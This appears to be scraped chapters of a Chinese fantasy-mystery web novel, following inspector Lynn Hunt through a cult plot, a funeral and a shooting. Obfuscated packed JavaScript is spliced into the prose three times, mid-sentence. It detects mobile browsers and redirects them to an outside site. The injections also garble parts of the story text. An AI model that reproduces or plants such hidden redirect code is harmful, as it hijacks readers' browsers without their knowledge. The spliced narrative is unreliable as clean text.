林恩抿了抿唇,刚想拧开房门,却忽然腿上一软,竟直愣愣地摔跌在地上! ——该死的,精神又枯竭了! “审查官……您还好吗?”莉亚隔着房门,细声细气地问道。 她听见门内传来响声,实在放心不下,故而提前开口。 “我还好。” 林恩缓了一阵,总算是站起身,一把拉开房门。 莉亚盯着林恩惨白的面孔,原本的话语尽数吞了回去,“……可是,您看上去不太舒服。” 林恩摇摇头,“没关系,不要紧。” “怎么会不要紧呢!”莉亚语气笃定,“我带你去看医生!” 她拽着林恩的手,“就在码头附近,不会太远的,审查官。” 林恩仍在拒绝:“医生或许不起作用。” 即便是再高明的医术,也无法治愈她的精神受损。 更何况,她只需要休息一阵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16365731|181277||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就可痊愈。 “不,阿格尼格医生不是一般的医生。”小姑娘摇摇头,“我见过太多跟你差不多的人,审查官,都靠喝阿格尼格医生的药水治愈的。” 林恩摇了摇头,不以为意。 “是真的!”莉亚嘟囔道,“还有很多中央大区的贵人们专门来给他看病呢!” 林恩斜睨她:“你能认识多少贵人?” 见林恩仍旧不信自己,莉亚有些羞恼,“那些豪华马车我当然认识!而且那群贵人,总喜欢抓着昂贵的木制手杖、有时还会镶嵌宝石,这打扮怎么会是普通人呢!” 闻言,林恩愣住。 莉亚描述的……是“神学院”的信徒?! “好啦,阿格尼格的诊室就在前面。” 莉亚牵着林恩的手,刚往前迈了一步,却发现林恩纹丝不动。 “您还是不乐意看病吗?” 林恩摇头,蹲下身,塞给她一张纸钞。 “你去给我买药吧,莉亚。我不能被其他人看见。” 说完,她四处望了望,又指向角落,“我就在那里等你。” 莉亚隐约猜出了什么,只微微点头。 林恩顺势躲在墙角,用巨大的、臭烘烘的垃圾桶挡住自己的身影,一边目不转睛地望着诊所。 这似乎是一扇侧门,木板被晒成淡蓝色,与洁白的门头相互呼应。 莉亚开门的空隙,林恩抽空瞥见里头摆列整齐的柜台,除此之外一无所获。 她叹口气,觉得自己太过谨慎。 只不过,莉亚在诊室里停留的时间,比想象中长了许多。 林恩听了第二遍教堂的钟声,等待许久的烦躁终于转变成不安: 小姑娘该不会被抓住了? 她惴惴不安地思索着,一边掏出怀表查看了时间。 快傍晚了。 莉亚总算是抱着一只纸袋,从侧门闪身跑出来。 “审查官,来,这是给你的药剂。” 她把纸袋塞进林恩怀里,又从口袋里取出找零,塞进林恩上衣口袋。 林恩抽出一支药剂,放在鼻尖嗅了嗅,“你怎么花了这么久?” 莉亚挠了挠头,“我得在贵人后面排队——但偏偏他们聊了很久。” “他们聊了什么?” “乘坐‘月亮号’出海的事情。”莉亚歪了歪头,“不过,为什么出海有神殿?我在四号码头住了这么久,从来没听说过呢?” 林恩脚步一滞。 该不会—— 某个女神神殿,就藏在碎金城东区的海湾内? 她伸手拦了辆出租马车,又问莉亚:“关于神殿,他们有说别的信息吗?” 莉亚摇头。 那就无法获知,海湾内藏匿的女神神殿是哪一个级别。 林恩从口袋里掏出笔记本,在颠簸的车厢里歪歪扭扭地写下【月亮号】与【四号码头】几个字。 或许,更多的消息需要询问“占卜师”白琳·嘉伯。 只不过,她还没有做好对白琳全盘托出的心理准备。 正思考着,莉亚倚在靠垫上,发出轻微的鼾声。 经过一天的波折,她已筋疲力尽。 林恩摸了摸放在大腿上的纸袋,最终瞒下了奶奶被绑架的真相:在一切还没查清之前,让莉亚知道这么详细,并没有任何好处。 她攥了把袋口,回想着“跑腿”又“偷听”的莉亚,又陷入深思。 27. 茉莉的匣子 莉亚重新走进桔梗街593号后,抱膝坐在沙发上,呆愣愣地看着地面。 她总算意识到,自己无处可去。 若非有好运的审查官收留自己,她就会像东区任何一个流浪儿一样,混迹在街头。 运气差的话,她或许会被卖到妓/院。 那样的话,她的生命或许随时都会终止:莉亚经常看见浑身溃烂的妓女,坐在阿格尼格医生的诊室门口,一口接一口灌着止痛药酒。 光是想到这一点,莉亚就浑身发颤。 看了眼坐在沙发上发呆的女孩,林恩忍不住叹口气。 即便她有意隐瞒,但莉亚也并不是蠢货。 她总会明白,自己永远失去了哥哥和奶奶。 “你在碎金城还有什么亲戚吗?”林恩给莉亚倒了杯牛奶,轻轻放在茶几上。 她大概猜到,今天小姑娘没吃什么饭。 莉亚乱蓬蓬的头发散落在脸上,又摇摇头。 “只有布鲁,一直都只有布鲁。” 她吞下了剩下半句话。 她觉得或许自己连布鲁都没办法留住了。 “一直?” 莉亚点点头:“奶奶收养的我们,她和我们没有血缘关系。她在东区的纺织工厂上班,用所有的钱养我们。” 莉亚的语气很平静。 她平静地讲述着兄妹二人从郊外的孤儿院逃离、一路乞讨来到碎金城,又机缘巧合撞见刚丧偶的奶奶。 奶奶把他们带回了家,用矿业工厂赔付的、因高坠事故而死亡的抚恤金给两人添置了过冬的衣服,又难得买了点猪内脏,煮了一锅浓汤。 “以后,你俩就跟我过吧。”她说着,把酒瓶里最后几滴威士忌倒进肚子里。 布鲁与莉亚并不是“乖孩子”。 逃难的时间里,他们总是在偷窃:农夫家的蔬果、小商贩口袋里的零钱,甚至有一次顺走一只山羊。 而偷窃的恶习,在奶奶的木棍之下终于好转。 ——直到她身患棉尘肺,无法继续工作。 布鲁决定重新偷窃,选择的第一个受害人,正是亨利·朗。 说完这些,莉亚闭了闭眼,整个人像是从躯壳中脱离,正常的有些诡异。 她甚至整个人往前挪了挪,伸手端起满满一杯牛奶。 但她的手在颤抖。 林恩叹了口气,注视着她缓缓端起杯子—— 而后,玻璃杯与茉莉小姐的金属匣碰撞,摇摇晃晃地坠地! 林恩一个箭步冲了上去,却仍旧迟了。 那金属匣狠狠地撞在地面上,原本就松松合上的盖子瞬间掉落! 那是……一把碎裂的长剑? 剑身被拦腰砍断,只剩下锈蚀的半截,连接着黑漆漆的刀柄。 碎剑的锈蚀程度,让林恩怀疑它在海底沉没了许多年。 鬼使神差的,她的手忍不住触摸上去。 无数的呓语瞬间从剑身倾泻而出! “杀了我……杀了我!” 恐怖的呢喃充斥了林恩的耳道,她的头颅像是被铁锯切割开,痛得无法言语。 她哀嚎着倒在地面上。 但那呓语未有停歇: “杀掉我……或者我杀了你—— 林恩!” “啪”一下,金属匣被莉亚合上。 呓语瞬间消散,只剩下浑身被汗水湿透的林恩。 她仍旧捂着脑袋,脑浆像是被摇散,整个人浑浑噩噩无法动弹。 莉亚拿来完全未拆封的纸袋,强行拆开一支阿格尼格医生的药剂,塞进林恩手里。 “喝掉吧,审查官,喝完会舒服的。”她轻声道。 洋甘菊的清冽气味顺着食道流淌而下,林恩分辨不出冰凉液体里的其他味道,只觉得精神正在一点一点攀升。 她的冷汗洇湿了后背,逐渐觉得有些凉意。 这种感觉…… 竟比成为信徒的那一回还要难受! “你好一些了吗?”莉亚小声问道。 林恩点头,总算是缓过劲,“谢谢你——” 她张了张嘴,却发现喉咙里发不出任何声音。 “说不出话,是吗?”莉亚想了想,又拆了第二支药剂,“我刚刚闻到洋甘菊的味道,或许您可以再用它缓解一下。” 林恩沉默着接过药剂,犹豫半天,还是灌进喉咙里。 这次,她聆听到精神深处发出轻微的破碎声,随后澎湃的精神从骨肉里升腾而出! 这是前所未有的舒适感觉! 就仿佛血肉得到了新生! 林恩从皮肤到血液都在畅快的呼吸,随后,她露出一点微弱的笑意。 她明白,她已经彻彻底底地成为“9级信徒”。 而下一步,只要她找到八级神殿的地址,就可以在“永恒树”上晋升一级了! == 经过漫长的一夜,敲窗人卡尔威克先生把林恩唤醒时,天才蒙蒙亮。 她额头上的伤口已经结痂,但大约是半夜睡觉不小心碰到,此刻有些隐隐作痛。 林恩翻身起床,洗漱过后,小心翼翼地套上里衣。 不过,别扭的动作再次拉扯到伤口,她忍不住发出一声吃痛的呻吟。 只不过,她仍旧说不出话。 喉咙似乎是肿起来了,痛得像是在吞刀片。 林恩翻找出一粒止痛药,烧了壶红茶吞了下去,一边掏出怀表看了一眼。 她虽得到阿曼达审查官的应允,不需要前往国民卫队上班,但今日情况特殊,是康纳利审查官的葬礼。 想到今日有可能遇到的神学院学徒与康纳利家族成员,林恩就忍不住叹了口气。 她的动静把趴在沙发上的莉亚吵醒。 兴许是疲惫至极,昨晚莉亚睡了个好觉,甚至这会儿也有些醒不过来。 “早,审查官。”她揉了揉眼睛,低声说道。 林恩瞪了回去:昨晚她已经警告过莉亚,不要再招摇地喊自己审查官,而是喊她“亨特小姐”。 【林恩·亨特】 她书写的字条正耷拉在茶几上。 “有些不习惯。”莉亚笑了笑,赤脚走了过来,“亨特小姐,我决定今天出去找工作。” 尽管亨特审查官不介意,但莉亚不愿意白吃白喝。 这几天,亨特审查官已经给她花了很多钱了:每次拦下出租马车时,她都会露出肉痛的表情。 莉亚都看在眼里。 她昨天已经打探过了,对她来说最适合的工作,就是去当报童。 林恩放下茶杯,在纸上飞快地写道:【你?工作?】 “恩,是的。”莉亚兴奋地点点头,“我可以和其他孩子一样卖报。” 她掰着手指,“一份报纸如果能赚1铜伊索,一天卖20份,我一个月也能赚4金塔拉呢!” 赚钱的时候脑筋倒是动得快。 林恩默默吐槽着,却忽然想到另一件事: 她刚刚晋升为独立审查官,这也就意味着…… 薪水能够再涨一截! 光是想到这点,林恩也并不觉得蒙德里安·威灵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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林恩诧异地抬头,神色惶恐。 【你认识我?】 她用食指指向自己,皱起眉。 “当然啦,我经常遇到你,你是国民卫队的。”克莱尔道,“说起来,我们今天前往同一个目的地哦。” 【为什么?】 “今天不是某个审查官的葬礼吗?”克莱尔拿手指梳了梳极短的碎发,对着车窗玻璃照了一下,“我打算潜进去,挖掘一些新闻。” 说着,她朝林恩眨了眨眼。 “……” 林恩立刻远离她半个身子,默不作声地读着手中的《木偶报》,佯装与她完全不认识。 不得不说,这位记者小姐的水平不可小觑。她言语凌厉又风趣,党羽纷争在她笔下并非枯燥的“今日新闻”,反倒是趣味横生的故事。 林恩思考了一下,问她: 【你们缺报童吗?】 “我们是个小报社,销量的确不佳。”克莱尔老实说道,“不过,也还没到捉襟见肘的地步。” 她看了看林恩,话锋一转,“不管怎么说,有人帮忙售卖我们的报纸,我肯定是欢迎的。” 说着,她掏出一张名片。 这是一张与纸币差不多大小的名片,可以被对折塞进钱包里。 上面写着: 【克莱尔·德里特 《木偶报》创办者、《皇家邮报》专栏记者 碎金城洋湾区胜利大街290号】 “叮——” 公共马车响铃,车缓慢停靠在路边。 28. 康纳利的葬礼 林恩先一步下了车,回过头,却看见克莱尔记者仍旧安然坐着。 撞见林恩疑惑的目光,克莱尔笑道:“你忘了,我可没被邀请。” 她指了指前方,“我有我的方式混进去。” 好吧。 即便她们一道下车,林恩也会坚决拒绝与克莱尔记者同行。 林恩把两沓报纸塞进公文包里,又特意把笔记本取出来、放进口袋,才缓缓走入墓园。 即便有足够多的烦心事,首席审查官阿曼达还是到场参加葬礼了。 只不过,她频繁抬手查看她的腕表,足以证明她的忙碌。 “你怎么在这里?” 林恩还在四处张望时,医疗官帕尔玛已悄然走到她身边。 【我该站在前排吗?】林恩看着她,在笔记本上快速书写道。 “你喉咙怎么了?”帕尔玛蹙眉,“你张嘴,我帮你看一眼。” 说着,她竟然扣住林恩的下巴,似乎下一秒就要强制掰开。 “……” 林恩只觉得自己像是河马,被强行打开口腔。 “看上去没什么异常,就是有些红肿。”帕尔玛说着,从怀里掏出一粒药丸,塞进林恩张大的嘴巴里,“吃点药就好了。” 林恩猝不及防地把药丸咽了下去,只觉得一股冰凉如冷风的气体倾泻而下。 她捂着嗓子,不可思议地盯着帕尔玛,觉得她有意要毒哑自己。 “看什么,又不是脏东西。” 医疗官帕尔玛为林恩的质疑而恼怒,既而抱胸站定,满脸不虞。 “对了,我得跟你说说,我在朗氏矿业公司的发现。” 林恩侧头看着她。 帕尔玛琥珀色的眼珠在阳光下如漂亮的玻璃珠。 “亨利朗死的很难看,这一点你大概也能猜到。”她说,“我花了很长时间,才拼接出他的尸/体。” 帕尔玛的语调异常平静。 “随后,我有了一个令人吃惊的发现。” 林恩的心脏扑通扑通跳动:她有预感,医疗官帕尔玛即将说出口的话,同样会让她惊异。 “虽然尸体已经面目全非,但足以看出,亨利·朗并不是因爆炸而死。” 什么? 林恩瞬间扭过头,不可思议地盯着帕尔玛。 “不要这么看着我……会引人注目。”帕尔玛强行掰正林恩的脑袋,随后继续描述理由。 “他的颈椎出现了断裂,那是人为扭断的迹象。” 林恩张了张口,却什么都说不出。 “这件事情我没有上报给威灵顿审查官。我对他太了解了,他永远只想息事宁人。”帕尔玛扭头看向林恩,“因此,我只把这件事告诉你,亨特审查官。” 帕尔玛着实有些高看自己了…… 林恩皱了皱眉,刚掏出纸笔想写些什么,却被帕尔玛拦下来。 “你不需要想太多,我对亨利·朗的死因并无兴趣。我所好奇的,无非是异种生物罢了。” 她一边说着,一边眯起眼,“只不过,我觉得两者之间一定存在某些联系。” 一束朝阳从树叶罅隙直射而来,刺入帕尔玛医疗官的双目。 不远处,阿曼达·德·波尔朝林恩招了招手,示意她到最前面。 她一边同众人介绍着: “这是康纳利审查官的学生,林恩·亨特审查官。” 林恩被强行推到众人面前。 眼前一群人均为黑色长风衣与手杖的打扮,大约都来自“神学院”。 并且,在这群生面孔中,林恩偏巧看到一张熟悉的脸。 莱亚·古德温撑着手杖,面无异色地看着林恩。 林恩收回视线,稍稍鞠躬,就立刻把准备好的字条给阿曼达审查官展示。 【我喉痛很痛,没有办法讲话。】 “唔,不要紧,你这几天休息休息。” 不过,阿曼达多少有些遗憾:面前的男人是“神学院”的领头羊詹姆斯·威利斯,据莱亚·古德温上校所说,此人是神学院目前的最高等级信徒。 阿曼达原本指望林恩能与这群信徒攀谈,拉近些关系。 不过现在是没戏了。 “这孩子大概是昨天在爆炸中受了伤,头也痛、喉咙也没法讲话,您见谅。”阿曼达笑着对詹姆斯·威利斯说。 林恩与詹姆斯·威利斯的目光撞个正着: 灰白色的侧分短发、同样灰白的遮住上唇的浓密胡须,构成了此人最鲜明的特色。 除此之外,林恩才勉强注意到他苍老的面孔上一双灰蓝色的眼睛,带着老人特有的透明感。 “这位是威利斯先生,亨特。”阿曼达在一边做着介绍。 “我本有些问题想问你,不过今天显然不是个好时机。”詹姆斯·威利斯砂纸打磨般的声音重重地刮蹭林恩的耳膜,“下次再见吧,亨特审查官,我想会有机会的。” 说着,他悄无声息地瞥了瞥后方。 林恩循着视线看过去,再一次与莱亚·古德温对视。 她顿时生出几分警觉:莱亚该不会透露出她的信徒身份了? “我们会永远记得康纳利的,他是这个世界上最懂我的人。”詹姆斯·威利斯感慨着,一边将女神铜像丢进坑洞里。 随后,土壤被一铲一铲填回墓坑。 代表康纳利的空棺材,被埋进碎金城的地底。 而他本人,则长久地沉睡在特拉尔湖中,自由又畅快地沉没于水底。 人群散去,林恩却总算是找回了沉睡的记忆: 方才那个威利斯先生的声音,她在莱亚·古德温的记忆里曾经听过! 是他“拯救”了莱亚·古德温,并把他安排进陆军军队! 该死的,莱亚·古德温绝对是她的一生之敌。 林恩愤恨地捏了捏手心,却迎面撞上艾迪·穆德的面孔。 “您的身体还好吗?”他从人群之中挤了过来,“听说您昨天也在爆炸现场。” 他久违地换上黑色西服。 剪裁到位的定制服饰,让艾迪看上去高挑又窄长,通身透着一股矜贵感,与他平日窝囊的模样截然不同。 林恩一言不发,只指了指准备好的字条。 “怎么伤得这么重?”艾迪叹了口气,“我听说,你这几天被首席审查官停职了。” 林恩点头。 “是因为亨利·朗吗?”艾迪咕哝着,语气里颇为纳闷,“但和你有什么关系呢?” 林恩耸耸肩,在纸上写: 【大概因为我一事无成吧?】 艾迪笑起来,“您可别这么说。” 两人一前一后地往屋内走,林恩顺手接过一杯香槟,躲在墙角观察着众人,一边思考亨利·朗的死因。 如果亨利·朗是被谋杀的…… 那么,理由是什么? 他并不是朗氏矿业公司的继承人,杀死他对公司的影响微乎其微,也并不有任何威慑力。 倘若医疗官帕尔玛的猜测是正确的,亨利·朗因异种生物而死—— 那么,是谁杀了他? 为什么非得要杀死他? 无数的疑问堆积在林恩脑袋里,让她烦闷不已。 她抬起手, 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“我不觉得你有换衣服的必要,审查官。” 克莱尔放下餐盘,又把林恩拽到一边,“他那副装扮…一看就是假侍者!” 此言一出,林恩只像从睡梦中惊醒,心脏嘭嘭乱跳,后背瞬间布满汗水。 等等。 她为什么会…… 毫无警觉地跟随一个侍者?! 克莱尔看着林恩的面孔青青白白,眼珠转了转,瞬间意识到了什么。 她立刻放下餐盘,又把林恩拽到茶水间,避开黑衣男人的视线。 “您到底怎么了?中了迷魂药?” 迷魂药…… 林恩脸色一变,手指颤巍巍地抓着笔: 【我怀疑那是个信徒,对我使用了异能!】 随后,她扯掉这一页字条,撕成碎片丢进下水道。 “今天的确来了很多信徒……” 克莱尔拍拍脑袋,从口袋里取出一枚微型金属胶囊。 拨动旋钮后,金属胶囊里传来细微的对话声。 林恩侧耳听了片刻,接过金属胶囊,放进高筒玻璃杯里。 声音被立即放大。 詹姆斯·威利斯:“等康纳利的学徒来了,你只要问是与否的问题,知道吗?古德温,你负责观察她是否说谎。” 林恩面色一变。 莱亚·古德温:“可是,今天她没办法讲话,我不确定我的能力是否起效。” 他的声音透着诡异的狡黠,“除非,我升级到七级信徒,威利斯先生。” “你还不到火候。” 莱亚·古德温:“您打算永远瞒着我吗,威利斯先生?距离我突破八级信徒,已经超过一年了!还是说,您只愿意把机会留给‘替身玩偶’?” “闭嘴!” 詹姆斯·威利斯暴怒,“就凭你想要忤逆我?我跟你说过很快就能轮到你的!” “有怨言是正常的,像我这样升级如此之快的信徒,无论是谁都会嫉妒。” “替身玩偶”开口,是个完全陌生的声音。 “不过,七级的人造神殿需要时间修复,或许只需要再等待一个月。” 人造神殿? 神殿还能被“人造”? 林恩心脏跳动得厉害: 只要她知道七级神殿的地址—— “砰——” 门被猛地推开。 29. 信徒之死 偷听的林恩和克莱尔同时被吓到。 “威利斯先生,人丢了。” 詹姆斯·威利斯赫然大惊:“这怎么可能?她又不是信徒,怎么可能逃脱掉你的‘迷惑之声’?” “她的确没有逃脱,威利斯先生,是有个陌生的女人把她拦截下来,带去另一个房间。”假冒侍者毕恭毕敬地回答道。 詹姆斯·威利斯沉思几秒,“是什么女人?哪里派来的人?” “我不清楚,先生。” 随即,暴怒的声音传来:“快去找!必须把康纳利的学生抓回来!” 林恩面色阴沉,左手已触上腰间枪套。 “审查官,这里有条小路。”在林恩抽出蒸汽火枪之前,克莱尔抢先一步开口。 “早晨我就是从那条路进来的,很安全。” 既然克莱尔有更好的办法,林恩自然应允。 她其实并不想动用武器——尽管审查官有足够大的权限,能悄无声息地让一些人消失。 林恩冲着她微微颔首。 克莱尔记者的路线需要从地下室绕行至室外仓库,随后穿过层层叠叠的丛林,最终深入珀尔区。 虽然路线较为隐秘,但克莱尔的步伐到底比不过训练有素的审查官,很快就大口喘着粗气。 “你…你先走吧。”克莱尔气喘吁吁,“我不是他们的目标。” 林恩摇头。 事已至此,帮助她的克莱尔显然已经成为詹姆斯·威利斯的眼中钉。 并且,记者小姐没有利用价值,更有可能被那群信徒灭口。 还没等考虑结束,“迷惑之声”已悄然而至。 脱去不合身的侍者马甲,身着白色衬衣的男人手持黑铁手杖,目光幽深地盯着二人。 “你究竟是什么人?” 他冷冰冰地开口,目光直指克莱尔·德里特。 克莱尔满头是汗,右手背在身后,悄然掏出防身匕首。 “低劣的普通人。”迷惑之声发出一声嗤笑,随后用手杖点了点克莱尔,轻而易举地对她施加异能:“放下你的匕首。” “迷惑之声”的异能即便有诸多限制,但让克莱尔做出这样简单的动作,还是轻而易举的。 克莱尔面孔中闪过挣扎,但很快,挣扎就失效了。 她轻轻抽出匕首,蹲下身,放在地面上。 趁男人的目光集中于俯身的克莱尔,林恩当机立断抽出火枪。 瞄准—— 射击! 子弹从黑洞洞的枪□□出,直指“迷惑之声”眉心。 随着一声爆炸般的巨响,男人轰然倒地,狠狠砸在泥土与草屑中央。 林中惊起一群飞鸟。 “你…你……”克莱尔颤巍巍地抬起手,指了指倒地的男人,又惊恐地看向林恩。 作为遵纪守法的好市民,克莱尔·德里特怎么都想不到,自己会直面凶案现场。 “嘘。” 林恩鹰隼般的视线穿透树干缝隙,遥遥注视着墓园的方向。 火枪的声音属实大了些,搞不好,会惹来不速之客。 “这男人,该怎么处理?”克莱尔蹲在地上,抹了把湿漉漉的汗水。 或许不需要很久,就会有人发现这场凶案! 林恩跟着蹲下身。 托医疗官帕尔玛的福,她现在隐隐约约能发出一点声音,但音量极小,非得凑近才能听清。 “先搬到旁边去,剩下的我会处理。” 她说,指了指一边浓密的灌木林。 只能这么办了。 克莱尔咬咬牙,本想与林恩一道用力,却没想到她轻松地单手提起高瘦的“迷惑之声”,塞一袋土豆般把他塞进树林,又用一堆枯枝掩盖住缝隙。 “你不害怕吗,审查官?”克莱尔摸了摸胸口。 从逃出的那一刻起,她的心脏就在激烈地撞击着胸腔,从未平缓。 闻言,林恩叹了口气,把“迷惑之声”的头发塞进口袋。 “害怕。” 她低声说。 但她在努力地把眼前的一切假想成“游戏”。 一个制作精良、主线清晰、危机四伏的开放世界全息游戏。 她唯独盼望着,游戏通关给她的奖励,是离开这个世界。 == 重新回到闹市区的克莱尔忽然有些迷茫。 她似乎是为康纳利的葬礼而来,原本只想在葬礼上挖掘有趣的国民卫队的八卦,哪晓得却无端卷入一桩血案。 连带着本周即将出版的新闻,仍然完全没有头绪。 四周是肃穆的灰绿色建筑,不远处的山坡之上,土黄色建筑的反光半球屋顶正在熠熠闪光。 林恩认出那是阿尔卡迪亚大学的天文台。 她扭头看了看“灰羽雕路”的黄铜路牌,沉思了片刻。 “德里特记者,我有一个问题想要问你。” “您说。” “在墓园里,你使用的金属胶囊,是从哪里购买的?我对这样新奇的金属机械装置相当好奇。” 克莱尔从口袋里掏出金属胶囊。 “你说这个啊?这是我朋友自己设计制作的,适合偷听对方讲话,只不过适用范围只有十米左右。” “您是怎么放进去房间的?” 克莱尔道,“在你们到来之前,我就已经把对应的设备放置在房间内了。” 一边说着,她一边拍拍林恩的肩膀。 “我们都是过命的交情了,不用喊得这么客气。你叫我克莱尔就好啦!” 林恩看着她真挚的眼神,犹豫片刻还是开口: “我叫林恩·亨特。” “啊,你就是那个第一名的毕业生!”克莱尔恍然大悟,“难怪呢,据我所知,康纳利审查官很少收学徒。如果你是第一名,那也就不意外了。” 对于克莱尔知道自己的名字,林恩也有些意外。 不过现在不是闲聊的时候。 “我现在想要一个设备,类似甲虫大小,我想远程操控它的行动轨迹,你的朋友可以做到吗?” 为了以防万一,林恩多添了一句: “钱不是问题。” 大不了就向国王申请一笔资金。 “我不太清楚。”克莱尔讪笑着,“毕竟,我通常只会享受她的劳动成果。” 说着,她环视一圈,“不过,这里距离她的工作室很近,不如直接去拜访吧!” 林恩本以为克莱尔是搪塞自己的说辞,却没想到真的很近。 步行十分钟之后,两人终于来到“发明家”温蒂·奇塔的工作室门口。 “灰羽雕路90号,找到了。” 克莱尔对着温蒂·奇塔的名片寻找了片刻,脚步总算是停在一家咖啡厅门口。 光是闻到面包的小麦香味,饥肠辘辘的林恩就有些走不动路了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16382250|181277||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>与克莱尔对视一眼,两人不约而同地坐在路边的藤编椅子上。 这家咖啡厅的价格称得上低廉,一杯咖啡加三明治的套餐只需要5银舌尔。 林恩掏出1金塔拉,承担了两人的共同花销,甚至有些沾沾自喜。 “这附近是几所大学,为了照顾学生,通常不会把价格定的太高。”克莱尔显然是这片区域的熟客,热忱地给林恩介绍道。 林恩咬了一口滚烫的面包,牛肉饼淌出喷香的肉汁,混合着一道进入口腔深处。 “克莱尔,作为感激,我可以透露一点八卦。但愿你还没有知道。” “诶,你说说看!” 一听说有新闻素材,克莱尔的耳朵瞬间竖了起来。 “我也在亨利·朗的死亡现场。” “等等——你是说爆炸现场?!”克莱尔瞬间掏出纸笔。 她手里攥着的,并非记者们常用的墨水钢笔,而是美术家爱用的铅笔。 木制笔杆的顶端,已经被她咬得坑坑洼洼。 “是的,那是早晨换班的时候……” 林恩把昨日发生的场景详细地同克莱尔描述了一遍,又摘下帽子,指了指额头上的伤疤。 “这就是在现场被砸伤的。” 克莱尔倒吸一口凉气,再次啃起她的铅笔。 “等待通话管接通的时候爆炸的……” 她咬文嚼字般地重复了几遍,忽然敲了敲桌面。 “林恩,会不会有人在通话管里灌满了瓦斯,又在管口放置了易燃物?” 林恩的咀嚼停顿了一秒,而后咽下一口面包,“你为什么会觉得这是他杀?” 克莱尔被问得一愣。 “报纸上都是这么编写的。” 找出合理的解释后,她又嘻嘻笑着,“只有这么写,才会有读者来看。” 这倒也合理。 林恩仔细回想着自己的用词,再次确定她没有引导性指向他杀。 而假设亨利·朗是他杀之后,她同样也怀疑过通话管:原因无他,完全是因为时间点卡得严丝合缝。 但是,医疗官帕尔玛一锤定音了亨利·朗的死因,那也就意味着现场不会有人拔掉铜质通话管的塞子。 那么,瓦斯爆炸也就无从谈起了。 不! 未必! 林恩眼睛一亮。 通话管一旦震动,或是单纯的加温,胀大的气体或许足以崩开不那么紧闭的塞子。 倘若室内已经充斥着足量的瓦斯气体,那么爆炸只是或早或晚的必然! 如果她的猜想是事实—— 所以,究竟是谁对亨利·朗起了杀心、又想出如此精密的杀人手法? 那位真正的“神秘访客”? 林恩叹了口气,抓了抓蓬松的短发。 说不定,神秘访客就是亨利·朗和“异种生物”之间的桥梁。 只可惜,亨利·朗的尸骨损毁得太厉害,大概很难使用“记忆搜查”异能。 “你的信息很关键。”克莱尔在纸上刷刷写着,字迹狂暴粗犷,“说不定,这是我们这周的版面新闻呢!” 她的眼珠亮晶晶的,显然对此相当满意。 “负责调查亨利·朗事件的是威灵顿审查官,来自鼎鼎有名的船舶家族。”林恩补充,“你最好不要惹恼那么多人。” 克莱尔胡乱地点点头,对林恩的提醒充耳不闻。“我明白的。” 30. 浅湖宫 提着给温蒂准备的打包三明治,两人拐进咖啡厅一侧的巷子里,从一道窄门进入,径直上了二层。 木门用金粉刷成黄铜色。 温蒂·奇塔的门铃是齿轮的形状,通过拼接合适的对应齿轮,才能顺利地敲响这扇大门。 林恩刚把拨盘拨弄好,就见克莱尔从身侧挤了过来,看也不看门铃,就直接“嘭嘭”拿拳头捶打门板。 巨大的噪声回荡在整个楼道里。 若非二层只有温蒂·奇塔一间,否则邻居一定会骂声四起。 “温蒂,开门。” 一边像敲鼓一样敲门,克莱尔一边喧闹着。 门被一脸不耐地打开,温蒂·奇塔披散着长发,穿着宽大的睡衣,显然刚从睡梦中醒来。 “什么事情?” 克莱尔抢先一步把香喷喷的三明治塞进她手中,这才缓缓说明来意。 热乎乎的食物缓和了温蒂原本的暴躁情绪。 她推开一沓草稿,清出一块空地,安心享受着自己的早午餐。 “我听懂你的想法了。”温蒂说着,扯起一张餐巾擦拭了下嘴巴,“你是什么人,为什么想要这种东西?” 她目光满是谨慎。 “我是国民卫队的审查官。”林恩回答,“因为有件要紧的事情要调查……” 克莱尔补充:“你吃的三明治,还是她给你买的呢!” 闻言,温蒂立刻抬起头,目光从原本的谨慎与防备瞬间转变成如沐春风的和煦。 用三明治收买自己的一定不是坏人! 温蒂吃完最后一口面包,又随手抓了一张空白纸张,当作机械的草图纸。 “所以,你想要的是甲虫大小的机械虫子。”她拿起铅笔,寥寥几笔便勾画出来,“然后呢,需要什么功能?和奸诈的记者一样想要偷听?” 林恩默不作声地瞥了眼“奸诈的记者”,又说道:“功能其实不要紧,我只需要操控一只能爬行的虫子。” 温蒂不明所以,“只是为了吓唬别人?” 她摆了摆手,“算了,你不需要过多解释。我这里有一个半成品,大概能满足你的需求,你先拿回去试一试。” 一边说着,温蒂一边翻找起身后巨大的杉木斗柜。 她曾经制作过很多有趣的小东西,既无人问津,又舍不得丢弃,便索性都存放在这个斗柜里。 “找到了!” 温蒂在堆满玩具的抽屉里终于找出一个鼻烟壶大小的金属盒,柔软的海绵上,静静躺着一根骨节长的六足蜘蛛。 “剩下两条腿呢?”林恩数了一遍,有些不解。 “被我玩断了,一直没时间修理。”温蒂把机械蜘蛛取出来,“不过,六条腿一样能用。” 说话间,她掀开机械蜘蛛的甲壳,拨动了几下发条。 蜘蛛在她的指令下在地面上转了个圈。 “它只能提前设置指令,跟随指令到达指定地点。我设置了1分钟自动原路返回——但时间可以被调节。”温蒂沾沾自喜地介绍着。 